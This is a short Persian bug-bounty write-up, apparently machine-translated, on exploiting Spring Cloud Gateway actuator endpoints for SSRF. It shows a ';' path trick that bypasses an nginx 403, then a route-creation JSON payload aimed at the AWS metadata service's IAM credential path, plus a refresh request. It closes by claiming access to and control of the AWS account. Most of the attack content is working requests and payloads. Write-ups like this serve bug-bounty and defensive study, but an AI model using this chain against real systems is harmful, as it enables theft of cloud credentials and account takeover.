SSRF از طریق دروازه ابر بهار

در برنامه های فضل اشکال ، یافتن زیر دامنه های بدون شاخص تعریف شده ، تغییر مسیر به صفحه خطای پیش فرض چارچوب بهار (با یا بدون تعریف شده ، بسیار معمول است. /error
مسیر)
همچنین پیدا کردن مسیرهای Lib بسیار معمول است (یک لیست کلمه خوب در مخزن Seclists مخصوص برنامه های بوت بهار وجود دارد) ، مانند /actuator/gateway
، این وضعیت وضعیت 403 ممنوع را برمی گرداند (پیکربندی تعریف شده در NGINX).
به دلیل ناسازگاری در پارس های HTTP ، معمولاً با اضافه کردن کاراکتر می توان از این کنترل ها دور زد. (یا رمزگذاری شده “\ x09”) ، در این مورد خاص از بوت بهار در نسخه های <2.7 (از آنجا که چنین شخصیت هایی را حذف می کند ، در حالی که nginx چنین نیست).
curl 'https://redacted/actuator;' | jq
{
"_links": {
"self": {
"href": "http://redacted.com/actuator;",
"templated": false
},
"gateway": {
"href": "http://redacted.com/actuator;/gateway",
"templated": false
}
}
}
Spring Cloud Gateway خدماتی است که حمل و نقل را به برنامه های دیگر انجام می دهد و پاسخ را در مسیر برمی گرداند. به عبارت دیگر ، این بدان معنی است که ما می توانیم از این قابلیت برای بهره برداری از SSRF استفاده کنیم و اگر سرور در یک سرویس ابری میزبانی شود ، ممکن است دسترسی به سرویس ابرداده و دریافت اعتبار دسترسی موقت امکان پذیر باشد. اغلب ، می توانید با ایجاد یک درخواست پست ، مسیرها را ایجاد کنید /actuator;/gateway/routes/{route_id}
با بدن زیر:
{
"id": "first",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [
"StripPrefix=2"
],
"uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
"order": 0
}
پس از ایجاد مسیر ، لازم است با ارسال درخواست پست (بله ، پست) ، حافظه نهان را تازه کنید /actuator;/gateway/refresh
بدون محتوای در بدن پاسخ. از آن به بعد می توان SSRF را فقط با درخواست /first
مسیر.
به این ترتیب ما به حساب AWS دسترسی پیدا می کنیم و بر منابع خاص کنترل می کنیم.